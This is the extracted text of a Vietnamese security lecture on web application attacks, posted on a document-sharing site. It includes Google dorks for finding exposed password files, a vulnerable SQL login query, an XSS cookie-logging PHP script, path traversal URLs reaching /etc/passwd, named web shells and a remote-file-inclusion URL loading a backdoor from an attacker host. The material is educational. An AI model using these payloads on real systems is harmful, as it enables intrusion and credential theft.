1. Trang chủ
  2. » Luận Văn - Báo Cáo

Bài giảng Web application attack & defense - Võ Đỗ Thắng

38 101 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 38
Dung lượng 580,48 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

Bài giảng Web application attack & defense gồm có những chủ đề chính sau: Web app, Webserver: Các khái niệm và mô hình; giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver; phát hiện và phòng chống. Mời các bạn tham khảo.

Trang 1

Web Application

Trang 2

A Web app, Webserver: Các khái

niệm và mô hình

B Giới thiệu một số phương pháp

attack cơ bản nhắm vào web app/webserver

C Phát hiện và phòng chống

ATHENA

A Web app, Webserver: Các khái

niệm và mô hình

B Giới thiệu một số phương pháp

attack cơ bản nhắm vào web app/webserver

C Phát hiện và phòng chống

Trang 3

A Web app, Webserver:

Các khái niệm và mô hình

 Web application là gì?

 Web app hay web service là một phần

mềm ứng dụng chạy phía server (thuộc

layer 7 trong mô hình OSI)

 User có thể truy xuất web app bằng các

trình duyệt (web browser, telnet) hay

bằng các giao thức HTTP(s)

ATHENA

 Web application là gì?

 Web app hay web service là một phần

mềm ứng dụng chạy phía server (thuộc

layer 7 trong mô hình OSI)

 User có thể truy xuất web app bằng các

trình duyệt (web browser, telnet) hay

bằng các giao thức HTTP(s)

2001(c)WhiteHat Security, Inc.

Trang 4

A Web app, Webserver: Các khái niệm

và mô hình

Một số trình duyệt thông dụng:

IE (internet explorer) FF( Mozilla Firefox) Opera

Một số webserver thông dụng

IIS : www.microsoft.com Apache : www.apache.org Jrun : www.marcomedia.com Tomcat jakarta.apache.org

Iplanet webserver Cold Fusion Webserver

Một số webserver thông dụng

IIS : www.microsoft.com Apache : www.apache.org Jrun : www.marcomedia.com Tomcat jakarta.apache.org

Iplanet webserver Cold Fusion Webserver

2001(c)WhiteHat Security, Inc.

Trang 5

Mô hình chuẩn Web App

Web Server

DB Web

Client

Web app Web app

HTTP request (cleartext

or SSL)

SQL Databas e Firewall

• ADO,

• ODBC, etc.

• Apache

• IIS

• Netscape etc…

Trang 6

ATHENA 2001(c)WhiteHat Security, Inc.

Trang 7

ATHENA 2001(c)WhiteHat Security, Inc.

Trang 8

ATHENA 2001(c)WhiteHat Security, Inc.

Trang 9

B Giới thiệu một số phương pháp attack cơ bản nhắm vào web app/webserver

1 Google attack

2 SQL injection

3 Cross site scripting

4 Hidden form vulnerability

3 Cross site scripting

4 Hidden form vulnerability

Trang 10

Website viện kinh tế thành phố Hồ Chí Minh bị tấncông, chiếm quyền kiểm soát

Demo:

ATHENA

Trang 11

Google Attack

 Sử dụng google để hack là một trong những phương pháp phổ biến của hacker nhằm tìm được những thông tin nhạy cảm từ victim

 Phương pháp Google attack giúp cho

hacker có thể tìm ra thông tin những victim đã định trước (mục tiêu đã xác

định) hay hack hàng lọat những victim có lỗi tương tự (mục tiêu chưa xác định)

ATHENA

 Sử dụng google để hack là một trong những phương pháp phổ biến của hacker nhằm tìm được những thông tin nhạy cảm từ victim

 Phương pháp Google attack giúp cho

hacker có thể tìm ra thông tin những victim đã định trước (mục tiêu đã xác

định) hay hack hàng lọat những victim có lỗi tương tự (mục tiêu chưa xác định)

Trang 12

Google attack (cont)

Một số keyword hay được sử dụng:

3 Port Scanning:

"VNC Desktop" inurl:5800Inurl:webmin inurl:10000ATHENA

Một số keyword hay được sử dụng:

3 Port Scanning:

"VNC Desktop" inurl:5800Inurl:webmin inurl:10000

Trang 13

Google attack (cont)

Tìm link login:

Inurl:/admin/login.asp Inurl:/administrator/login.asp Inurl:/admin/admin_login.asp

Tìm thông tin chứa user/password:

"Index of" htpasswd / passwd filetype:xls username password email

"WS_FTP.LOG"

"config.php"

allinurl: admin mdb service filetype:pwd (FrontPage) Inurl:/admin.mdb

Filetype:mdb user password

ATHENA

Tìm link login:

Inurl:/admin/login.asp Inurl:/administrator/login.asp Inurl:/admin/admin_login.asp

Tìm thông tin chứa user/password:

"Index of" htpasswd / passwd filetype:xls username password email

"WS_FTP.LOG"

"config.php"

allinurl: admin mdb service filetype:pwd (FrontPage) Inurl:/admin.mdb

Filetype:mdb user password

Trang 14

SQL injection injection

 Lỗi này thường xảy ra trên các ứng dụng

web có csdl được quản lý bằng các hệ cơ

sở dữ liệu như SQL Server, Mysql,

Oracle, DB2, Sysbase, MsAccess…

 Mỗi hệ quản trị csdl có một số điểm giống và khác nhau giữa các phương

pháp injection

 Trong bài báo cáo này xin trình bày

phương pháp injection trong hệ quản trị

csdl phổ biến nhất thế giới: MSSQL

ATHENA

 Lỗi này thường xảy ra trên các ứng dụng

web có csdl được quản lý bằng các hệ cơ

sở dữ liệu như SQL Server, Mysql,

Oracle, DB2, Sysbase, MsAccess…

 Mỗi hệ quản trị csdl có một số điểm giống và khác nhau giữa các phương

pháp injection

 Trong bài báo cáo này xin trình bày

phương pháp injection trong hệ quản trị

csdl phổ biến nhất thế giới: MSSQL2001(c)WhiteHat Security, Inc.

Trang 15

Các dạng tấn công SQL injection

 SQL bypass:

 Login.htm

 <form action="ExecLogin.asp" method="post">

 Username: <input type="text"

 <form action="ExecLogin.asp" method="post">

 Username: <input type="text"

Trang 16

 strSQL = "SELECT * FROM T_USERS " & _

 "WHERE USR_NAME=' " & vUsrName & _

 " ' and USR_PASSWORD=' " & vPassword & " ' "

 Set objRS = Server.CreateObject("ADODB.Recordset")

 strSQL = "SELECT * FROM T_USERS " & _

 "WHERE USR_NAME=' " & vUsrName & _

 " ' and USR_PASSWORD=' " & vPassword & " ' "

 Set objRS = Server.CreateObject("ADODB.Recordset")

Trang 17

 (Xem video demo SQL bypass vienkinhte.gov.vn)

2001(c)WhiteHat Security, Inc.

Trang 18

- Store procedure injection, kĩ thuật nâng quyền

user,giới thiệu về kĩ thuật runtime patching

- Upload backdoor

(phần này khá dài,demo hòan tòan bằng Video)

(xem video sql_ij_basic, sql_ij_admin)

- Store procedure injection, kĩ thuật nâng quyền

user,giới thiệu về kĩ thuật runtime patching

- Upload backdoor

(phần này khá dài,demo hòan tòan bằng Video)

(xem video sql_ij_basic, sql_ij_admin)

2001(c)WhiteHat Security, Inc.

Trang 19

Cross site scripting site scripting

Cross site scripting là gì?

- Cross site scripting viết tắt là XSS (để tránh nhầm

lẫn với CSS) là một dạng tấn công hướng về phía

User (Client) mà ko tác động trực tiếp đếnwebserver

- Hacker thường lợi dụng XSS để đánh cắp cookie

của user, phising etc…

- Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn

có thể xử dụng XSS để get root server (xemIplanet server attack)

ATHENA

Cross site scripting là gì?

- Cross site scripting viết tắt là XSS (để tránh nhầm

lẫn với CSS) là một dạng tấn công hướng về phía

User (Client) mà ko tác động trực tiếp đếnwebserver

- Hacker thường lợi dụng XSS để đánh cắp cookie

của user, phising etc…

- Tuy nhiên vẫn có trường hợp ngọai lệ Hacker vẫn

có thể xử dụng XSS để get root server (xemIplanet server attack)

2001(c)WhiteHat Security, Inc.

Trang 20

Cross site scripting

+ inject đọan script

+ <script>alert(‘test’)</script> vào bất cứ

đâu cho phép user input data (Url,

Feedback, Form, Search, cookie…etc) + Nếu thấy xuất hiện ra một pop-up ‘test’ thì có nghĩa là website đã bị dính XSS

+ Đọan code trên không phải là cách test chung, nhiều trường hợp phải view source hoặc mã hóa để vượt qua filter.

ATHENA

+ inject đọan script

+ <script>alert(‘test’)</script> vào bất cứ

đâu cho phép user input data (Url,

Feedback, Form, Search, cookie…etc) + Nếu thấy xuất hiện ra một pop-up ‘test’ thì có nghĩa là website đã bị dính XSS

+ Đọan code trên không phải là cách test chung, nhiều trường hợp phải view source hoặc mã hóa để vượt qua filter.

Trang 21

Cross site scripting

+ Attacker viết một đọan mã để get cookie của

victim như sau:

<?php

$cookie = $_GET['cookie'];

$log = fopen("cookies11.txt","a");

//cookies11.txt //chmod 777 fwrite($log, $cookie "\n");

fclose($log);

?>

ATHENA

+ Attacker viết một đọan mã để get cookie của

victim như sau:

<?php

$cookie = $_GET['cookie'];

$log = fopen("cookies11.txt","a");

//cookies11.txt //chmod 777 fwrite($log, $cookie "\n");

fclose($log);

?> 2001(c)WhiteHat Security, Inc.

Trang 22

Cross site scripting

- Sau đó up lên 1 hosting của hacker

</script>

- Sau đó bằng vài phương pháp phising, sau khi victim đã đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt của hacker.Công việc còn lại của Hacker khá đơn giản:fake cookie và truy xuất tài nguyên của website với quyền của user vừa chiếm được

</script>

- Sau đó bằng vài phương pháp phising, sau khi victim đã đăng nhập và đọc bài viết (hoặc click vào URL) của hacker đã gửi, lập tức cookie của victim đã đc ghi vào file cookie11.txt của hacker.Công việc còn lại của Hacker khá đơn giản:fake cookie và truy xuất tài nguyên của website với quyền của user vừa chiếm được

2001(c)WhiteHat Security, Inc.

Trang 23

Hidden form vulnerability form vulnerability

Hidden form vulnerability là gì?

- Là một dạng truyền biến của webapplication, coder không muốn cho user can thiệp trong quá trình

truyền biến

- Hidden form có dạng:

<input type="hidden" value="13.95" name="jac_minReqTotal"> <input type="hidden" value="1" name="jac_minReqUnits"> <input type="hidden" value="0" name="jac_minReqWeight">

- Vậy điều gì xảy ra nếu như các biến trong hidden form không được check một cách chặt chẽ khi user submit? Hacker sẽ lợi dụng điều này như thế nào?!? (xem video hiden_form_demo)

ATHENA

Hidden form vulnerability là gì?

- Là một dạng truyền biến của webapplication, coder không muốn cho user can thiệp trong quá trình

truyền biến

- Hidden form có dạng:

<input type="hidden" value="13.95" name="jac_minReqTotal"> <input type="hidden" value="1" name="jac_minReqUnits"> <input type="hidden" value="0" name="jac_minReqWeight">

- Vậy điều gì xảy ra nếu như các biến trong hidden form không được check một cách chặt chẽ khi user submit? Hacker sẽ lợi dụng điều này như thế nào?!? (xem video hiden_form_demo)

2001(c)WhiteHat Security, Inc.

Trang 24

Cookies injection injection

Cookie là gì?

- Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ

giữa web site và browser của người dùng cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin

về người dùng đã ghé thăm site và những vùng mà họ đi qua

(Xem video cookie_injection)

ATHENA

Cookie là gì?

- Cookie là những phần dữ liệu nhỏ có cấu trúc được chia sẻ

giữa web site và browser của người dùng cookies được lưu trữ dưới những file dữ liệu nhỏ dạng text (size dưới 4k) Chúng được các site tạo ra để lưu trữ/truy tìm/nhận biết các thông tin

về người dùng đã ghé thăm site và những vùng mà họ đi qua

(Xem video cookie_injection) 2001(c)WhiteHat Security, Inc.

Trang 25

Flood database/ Flood form là gì:

- Đây thực ra không phải là một phương pháp hacking,

có thể tạm xếp vào là một trong những hình thức DoS,

nhưng đây là hình thức DoS vào database

- Cách thức tấn công: Hacker tạo ra những script để post

một cách tự động vào forum, create member, search

form, feedback đến một lúc nào đó thì webserver củavictim cạn kiệt bandwitch hay sự nở ra liên tục của DB

khiến dung lượng ổ cứng của victim bị full và crash cả

hệ thống

- Xem Flood blog_yahoo_demo

ATHENA

Flood database/ Flood form là gì:

- Đây thực ra không phải là một phương pháp hacking,

có thể tạm xếp vào là một trong những hình thức DoS,

nhưng đây là hình thức DoS vào database

- Cách thức tấn công: Hacker tạo ra những script để post

một cách tự động vào forum, create member, search

form, feedback đến một lúc nào đó thì webserver củavictim cạn kiệt bandwitch hay sự nở ra liên tục của DB

khiến dung lượng ổ cứng của victim bị full và crash cả

hệ thống

- Xem Flood blog_yahoo_demo

2001(c)WhiteHat Security, Inc.

Trang 26

6 Local attack

- Là phương pháp attack khi hacker hosting cùng server

với victim

- Công cụ sử dụng chủ yếu là dùng script backdoor

(như r57shell.php, c99.php, remview.php) hay đối với

ASP là (Ntdady.asp, 4in1.asp )

- Phương pháp này rất lợi hại, biến hóa khôn lường

- Rất nhiều Hosting trên thế giới bị exploit qua phươngpháp này, ngay cả một số Hosting nổi tiếng củavietnam cũng bị (VDC, FPT…etc)

(xem demo local_basic_att, hosting.vnn.vn,

root_linux)

ATHENA

- Là phương pháp attack khi hacker hosting cùng server

với victim

- Công cụ sử dụng chủ yếu là dùng script backdoor

(như r57shell.php, c99.php, remview.php) hay đối với

ASP là (Ntdady.asp, 4in1.asp )

- Phương pháp này rất lợi hại, biến hóa khôn lường

- Rất nhiều Hosting trên thế giới bị exploit qua phươngpháp này, ngay cả một số Hosting nổi tiếng củavietnam cũng bị (VDC, FPT…etc)

(xem demo local_basic_att, hosting.vnn.vn,

root_linux)

Trang 27

được đường dẫn của victim)

- Tuy nhiên đôi khi lại khá nguy hiểm nếu để lộ ra

đường dẫn dẫn đến folder chứa database.

- Riêng trường hợp parsing exploit cần kết hợp cả 2

điều kiện là webserver xài IIS 5.x và phân ASP

coding bị lỗi khi sử dụng phương pháp Server.MapPath

được đường dẫn của victim)

- Tuy nhiên đôi khi lại khá nguy hiểm nếu để lộ ra

đường dẫn dẫn đến folder chứa database.

- Riêng trường hợp parsing exploit cần kết hợp cả 2

điều kiện là webserver xài IIS 5.x và phân ASP

coding bị lỗi khi sử dụng phương pháp Server.MapPath

(xem parsing_exploit)

Trang 28

Dictionary Traversal Traversal

- Hay còn gọi là Path tranversal, mức độ nguy hiểm còn tùy thuộc vào nhiều tình

huống cụ thể

- Xét vd:

Giả sử có 1 site bán máy nọ cho phép

client download các file tài liệu hướng dẫn

sử dụng sản phẩm Họ dùng 1 file

download.php và sử dụng như sau:

http:// [target.com]/download/download.ph p?file=xyz.pdf

Giả sử có 1 site bán máy nọ cho phép

client download các file tài liệu hướng dẫn

sử dụng sản phẩm Họ dùng 1 file

download.php và sử dụng như sau:

http:// [target.com]/download/download.ph p?file=xyz.pdf

Trang 29

filename=$name");

Trang 30

Dictionary Traversal (cont) Traversal (cont)

Lúc đó hacker sẽ khai thác theo kiểu

http://[target.com]/download/download.php?file= / /config.php

http://[target.com]/download/download.php?file= /db.php

http://[target.com]/download/download.php?file= / / /etc/passwd

Lúc đó hacker sẽ down được những file chứa thông tin

rất nhạy cảm như VD trên là config.php,db.php (chứa

thông tin connect đến database etc) hay /etc/passwd

chứa thông tin về user/pass shadow họăc chưa shadow

etc

ATHENA

Lúc đó hacker sẽ khai thác theo kiểu

http://[target.com]/download/download.php?file= / /config.php

http://[target.com]/download/download.php?file= /db.php

http://[target.com]/download/download.php?file= / / /etc/passwd

Lúc đó hacker sẽ down được những file chứa thông tin

rất nhạy cảm như VD trên là config.php,db.php (chứa

thông tin connect đến database etc) hay /etc/passwd

chứa thông tin về user/pass shadow họăc chưa shadow

etc

Trang 31

Remote include file include file

- Là một lỗi thông dụng trong các ứng dụng web đượcviết bằng PHP

- Có liên quan mật thiết đến phương pháp local attack

- Lợi dụng sự bất cẩn của Programmer khi dùng hàminclude() hay require() trong PHP

- Có liên quan mật thiết đến phương pháp local attack

- Lợi dụng sự bất cẩn của Programmer khi dùng hàminclude() hay require() trong PHP

Trang 32

Remote include file include file

Khi đó hacker sẽ include vào 1 file:

http://www.[target].com/test.php?ex=http://www.[attacker].com/ Khi đó link sẽ include là

http://www.[attacker].com/index.php

Index.php khi đó là một backdoor được lưu ở host hacker (host

của hacker ko support php)

Hoặc attacker có thể dùng cách khác

http://www.[target].com/test.php?ex=http://www.[attacker].com/ backdoor.php

(đằng sau dấu ? Sẽ ignore tất cả, trường hợp này là ignore /index.php có sẵn trong code test.php của victim)

ATHENA

Khi đó hacker sẽ include vào 1 file:

http://www.[target].com/test.php?ex=http://www.[attacker].com/ Khi đó link sẽ include là

http://www.[attacker].com/index.php

Index.php khi đó là một backdoor được lưu ở host hacker (host

của hacker ko support php)

Hoặc attacker có thể dùng cách khác

http://www.[target].com/test.php?ex=http://www.[attacker].com/ backdoor.php

(đằng sau dấu ? Sẽ ignore tất cả, trường hợp này là ignore /index.php có sẵn trong code test.php của victim)

Ngày đăng: 30/01/2020, 05:44

TỪ KHÓA LIÊN QUAN

w